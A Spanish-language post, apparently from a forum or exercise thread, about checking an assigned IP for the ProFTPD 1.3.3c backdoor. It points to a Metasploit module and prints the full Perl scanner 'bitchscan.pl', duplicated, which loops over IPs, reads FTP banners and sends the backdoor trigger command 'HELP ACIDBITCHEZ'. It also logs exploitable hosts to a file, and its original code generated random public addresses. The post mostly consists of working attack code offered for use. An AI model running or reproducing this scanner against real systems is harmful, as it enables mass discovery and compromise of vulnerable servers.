Podéis probarlo con el script "bitchscan.pl" o directamente desde el modulo de metasploit "exploit/unix/ftp/proftpd_133c_backdoor"
Para los que querais probar el script, pongo el código
en la linea
$ip = "x.x.x.x";
poner la dirección que os han enviado por correo, el script encuentra que el servicio tiene la versión que es vulnerable, pero después de ejecutar, no es posible establecer el backdoor, indicando que el servicio no es "hackeable".
Código:
#!/usr/bin/perl
use IO::Socket;
## IP GENERATOR ##
print "\n! ProScan - Started !\n";
sub ipgen(){
my $range1 = 223; #avoid experimental and multicast
my $range2 = 240;
$oct1 = int(rand($range1)) + 1; #generate random octects
$oct2 = int(rand($range2)) + 1;
$oct3 = int(rand($range2)) + 1;
$oct4 = int(rand($range2)) + 1;
if($oct1 == 127 || $oct1 == 172 || $oct1 == 192 || $oct1 == 10){#if gets rid of loopbacks and private ips
$ip = &ipgen(); #if local or private call again
}else{
#$ip = "$oct1.$oct2.$oct3.$oct4"; # otherwise allocate the ip to return
$ip = "x.x.x.x";
}
return $ip; #return to caller
}
##
## MAIN ##
while(1==1){ # keeps code running indefinatly
$target = &ipgen(); # get random ip to scan
print "SCANNING: $target \n"; # output
my $sock = new IO::Socket::INET ( # try to create socket to chose random address
PeerAddr => $target,
PeerPort => '21',
Proto => 'tcp',
Timeout => '3', # you can get away with a timeout of 1 second but i have 3 to be safe
);
if($sock){ # if socket opened (port open)
sysread($sock,$buf,1024); # readheader - may need to make the buffer size 4096 instead of 1024
print "FTP SUCCESS: $target \n"; # print to screen
if ($buf =~ m/ProFTPD 1.3.3c/){
print "\n!!Proftpd 1.3.3c Found!!\n";
print $sock "HELP ACIDBITCHEZ\n";
sysread($sock,$buf,1024);
if ($buf =~ m/502/){
print "\n NOT HACKABLE \n";
}else{
print $buf;
print "\n\n HACKABLE BOX FOUND \n\n";
open (MYFILE, '>>proftpd_1.3.3c-exploitable.txt');
print MYFILE "Proftp Found: $target :$buf\n";
close(MYFILE);
}
}
}
close($sock); # close the socket
}##
use IO::Socket;
## IP GENERATOR ##
print "\n! ProScan - Started !\n";
sub ipgen(){
my $range1 = 223; #avoid experimental and multicast
my $range2 = 240;
$oct1 = int(rand($range1)) + 1; #generate random octects
$oct2 = int(rand($range2)) + 1;
$oct3 = int(rand($range2)) + 1;
$oct4 = int(rand($range2)) + 1;
if($oct1 == 127 || $oct1 == 172 || $oct1 == 192 || $oct1 == 10){#if gets rid of loopbacks and private ips
$ip = &ipgen(); #if local or private call again
}else{
#$ip = "$oct1.$oct2.$oct3.$oct4"; # otherwise allocate the ip to return
$ip = "x.x.x.x";
}
return $ip; #return to caller
}
##
## MAIN ##
while(1==1){ # keeps code running indefinatly
$target = &ipgen(); # get random ip to scan
print "SCANNING: $target \n"; # output
my $sock = new IO::Socket::INET ( # try to create socket to chose random address
PeerAddr => $target,
PeerPort => '21',
Proto => 'tcp',
Timeout => '3', # you can get away with a timeout of 1 second but i have 3 to be safe
);
if($sock){ # if socket opened (port open)
sysread($sock,$buf,1024); # readheader - may need to make the buffer size 4096 instead of 1024
print "FTP SUCCESS: $target \n"; # print to screen
if ($buf =~ m/ProFTPD 1.3.3c/){
print "\n!!Proftpd 1.3.3c Found!!\n";
print $sock "HELP ACIDBITCHEZ\n";
sysread($sock,$buf,1024);
if ($buf =~ m/502/){
print "\n NOT HACKABLE \n";
}else{
print $buf;
print "\n\n HACKABLE BOX FOUND \n\n";
open (MYFILE, '>>proftpd_1.3.3c-exploitable.txt');
print MYFILE "Proftp Found: $target :$buf\n";
close(MYFILE);
}
}
}
close($sock); # close the socket
}##